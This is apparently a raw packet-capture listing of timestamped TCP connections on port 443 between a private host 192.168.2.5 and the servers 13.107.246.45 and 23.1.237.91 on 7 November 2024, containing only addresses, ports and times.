Nov 7, 2024 23:47:49.867270947 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.867788076 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.867799044 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.886987925 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.887032032 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.887192011 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.902879953 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.902895927 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.331851959 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.332304001 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.332324982 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.332770109 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.332775116 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.463968992 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.464019060 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.464134932 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.477663040 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.524389982 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.569786072 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.591272116 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.620887041 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.632859945 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.632999897 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.673396111 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.736308098 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.736340046 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.736354113 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.736361027 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.860635996 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.860660076 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.868896008 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.868902922 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.872677088 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.872689009 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.876128912 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:50.876132965 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.994237900 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.994318008 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:50.994481087 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.002331018 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.002418995 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.002588034 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.023097992 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.023114920 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.023591042 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.023597002 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.024317980 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.024337053 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.024827003 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.024832964 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.030003071 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.030025005 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.030036926 CET	49898	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.030041933 CET	443	49898	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.031305075 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.031322956 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.031333923 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.031339884 CET	443	49897	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.036560059 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.036587000 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.036772966 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.036874056 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.036883116 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.037509918 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.037566900 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.037693024 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.037839890 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.037856102 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.039200068 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.039239883 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.039315939 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.039753914 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.039767981 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154056072 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154119968 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154206038 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.154313087 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.154325962 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154339075 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.154344082 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154460907 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154495001 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154530048 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.154573917 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.155596018 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.155610085 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.155620098 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.155625105 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.160120010 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.160139084 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.160191059 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.160204887 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.160209894 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.160248995 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.160466909 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.160482883 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.161113977 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.161123037 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.753519058 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.754259109 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.754292965 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.754795074 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.754803896 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.780225992 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.780642986 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.780669928 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.781024933 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.781029940 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.878813028 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.879244089 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.879261017 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.879890919 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.879894972 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.881448984 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.881472111 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.881509066 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.881532907 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.881565094 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.881863117 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.881863117 CET	49900	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.881875992 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.881882906 CET	443	49900	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.884176016 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.884207964 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.884306908 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.884462118 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.884469986 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.890836000 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.891247988 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.891263008 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.891578913 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.891583920 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.911052942 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.911228895 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.911307096 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.911700964 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.911714077 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.911741972 CET	49901	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.911750078 CET	443	49901	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.913913012 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.913942099 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:51.914180994 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.914360046 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:51.914374113 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.008244038 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.008505106 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.008558989 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.008580923 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.008596897 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.008606911 CET	49902	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.008613110 CET	443	49902	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.011307001 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.011334896 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.011435032 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.011580944 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.011590958 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.025897026 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.026498079 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.026510000 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.026910067 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.026913881 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.039299011 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.039374113 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.039412022 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.039419889 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.039455891 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.039973021 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.039973021 CET	49903	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.039983988 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.039992094 CET	443	49903	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.043807983 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.043852091 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.043940067 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.044907093 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.044919014 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.156529903 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.156702042 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.156812906 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.156838894 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.156848907 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.156869888 CET	49899	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.156874895 CET	443	49899	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.159193993 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.159219027 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.159782887 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.161462069 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.161473036 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.207484007 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:52.207492113 CET	443	49733	23.1.237.91	192.168.2.5
Nov 7, 2024 23:47:52.207643986 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:52.207659006 CET	49733	443	192.168.2.5	23.1.237.91
Nov 7, 2024 23:47:52.634203911 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.634692907 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.634715080 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.635163069 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.635169029 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.752724886 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.753376961 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.753390074 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.754092932 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.754098892 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.763482094 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.763545990 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.763678074 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.763701916 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.763716936 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.763725996 CET	49905	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.763731003 CET	443	49905	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.767781973 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.767816067 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.767966032 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.768338919 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.768349886 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.774523973 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.775435925 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.775449038 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.776036024 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.776040077 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.780436993 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.780971050 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.780987024 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.781409979 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.781414986 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.883507013 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.883528948 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.883572102 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.883595943 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.883637905 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.883829117 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.883829117 CET	49906	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.883845091 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.883852959 CET	443	49906	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.887284994 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.887327909 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.887389898 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.887521982 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.887540102 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.904335022 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.904360056 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.904409885 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.904413939 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.904454947 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.904534101 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.904534101 CET	49904	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.904540062 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.904555082 CET	443	49904	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.907035112 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.907062054 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.907164097 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.907217026 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.907227993 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.910944939 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.910989046 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.911098957 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.911221027 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.911241055 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.911252022 CET	49907	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.911257982 CET	443	49907	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.913360119 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.913388968 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:52.913445950 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.913595915 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:52.913606882 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.092118025 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.107748032 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.107772112 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.108464956 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.108470917 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.241081953 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.243542910 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.243591070 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.243616104 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.243648052 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.243779898 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.243796110 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.243808985 CET	49908	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.243813992 CET	443	49908	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.248049021 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.248085976 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.248151064 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.248337030 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.248349905 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.639822006 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.641218901 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.641242981 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.642117977 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.642123938 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.648108959 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.648508072 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.648530006 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.649126053 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.649131060 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.664768934 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.665159941 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.665180922 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.665699959 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.665704966 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.677969933 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.678519011 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.678543091 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.679238081 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.679243088 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.771317959 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.771392107 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.771486044 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.771697998 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.771709919 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.771740913 CET	49910	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.771745920 CET	443	49910	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.775957108 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.775983095 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.776043892 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.776551008 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.776561022 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.780493021 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.780555010 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.780623913 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.780940056 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.780940056 CET	49911	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.780957937 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.780965090 CET	443	49911	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.786012888 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.786039114 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.786094904 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.786633015 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.786643028 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.794137955 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.794308901 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.794364929 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.794470072 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.794473886 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.794487000 CET	49909	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.794492006 CET	443	49909	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.801426888 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.801450014 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.801621914 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.801902056 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.801912069 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.813869953 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.814079046 CET	443	49912	13.107.246.45	192.168.2.5
